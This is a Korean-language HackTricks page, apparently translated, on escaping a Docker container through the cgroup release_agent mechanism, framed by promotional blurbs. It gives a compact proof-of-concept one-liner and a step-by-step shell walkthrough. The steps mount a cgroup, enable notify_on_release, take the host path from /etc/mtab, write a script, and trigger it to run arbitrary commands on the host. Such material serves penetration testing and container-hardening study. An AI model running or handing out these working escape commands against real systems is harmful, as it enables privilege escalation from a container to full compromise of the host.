Docker release_agent cgroups escape

htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 처음부터 전문가까지 배우세요!

HackTricks를 지원하는 다른 방법:

WhiteIntel다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 코드에 의해 침해당했는지 무료로 확인할 수 있는 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 코드로 인한 계정 탈취 및 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 시험해 볼 수 있습니다:


자세한 내용은 원본 블로그 게시물 를 참조하세요. 이것은 요약입니다:

원본 PoC:

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

다음은 cgroups를 악용하는 방법을 시연하는 증명-of-concept (PoC)입니다. release_agent 파일을 생성하고 해당 파일을 트리거하여 컨테이너 호스트에서 임의의 명령을 실행하는 방법을 보여줍니다. 다음은 수행되는 단계를 설명합니다:

  1. 환경 설정:

  • /tmp/cgrp 디렉토리를 생성하여 cgroup의 마운트 지점으로 사용합니다.

  • RDMA cgroup 컨트롤러를 이 디렉토리에 마운트합니다. RDMA 컨트롤러가 없는 경우 memory cgroup 컨트롤러를 대안으로 사용하는 것이 제안됩니다.

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
  1. 자식 Cgroup 설정:

  • 마운트된 cgroup 디렉토리 내에 "x"라는 이름의 자식 cgroup이 생성됩니다.

  • "x" cgroup에 대한 알림은 notify_on_release 파일에 1을 쓰는 것으로 활성화됩니다.

echo 1 > /tmp/cgrp/x/notify_on_release
  1. 릴리스 에이전트 구성:

  • 호스트에서 컨테이너의 경로는 /etc/mtab 파일에서 얻습니다.

  • 그런 다음 cgroup의 release_agent 파일을 구성하여 획득한 호스트 경로에 위치한 /cmd 스크립트를 실행합니다.

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. /cmd 스크립트 생성 및 구성:

  • /cmd 스크립트는 컨테이너 내부에 생성되고 ps aux를 실행하도록 구성되며, 출력을 컨테이너 내의 /output이라는 파일로 리다이렉트합니다. 호스트에서 /output의 전체 경로가 지정됩니다.

echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
  1. 공격 트리거:

  • "x" 자식 cgroup 내에서 프로세스가 시작되고 즉시 종료됩니다.

  • 이로 인해 release_agent (/cmd 스크립트)가 트리거되어 호스트에서 ps aux를 실행하고 결과를 컨테이너 내의 /output에 작성합니다.

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

WhiteIntel다크 웹을 활용한 검색 엔진으로, 회사나 그 고객이 스틸러 악성 소프트웨어에 의해 침해당했는지 확인하는 무료 기능을 제공합니다.

WhiteIntel의 주요 목표는 정보를 도난하는 악성 소프트웨어로 인한 계정 탈취와 랜섬웨어 공격을 막는 것입니다.

그들의 웹사이트를 방문하여 엔진을 무료로 사용해 볼 수 있습니다:

**htARTE (HackTricks AWS Red Team Expert)**를 통해 제로부터 AWS 해킹을 배우세요

HackTricks를 지원하는 다른 방법:

Last updated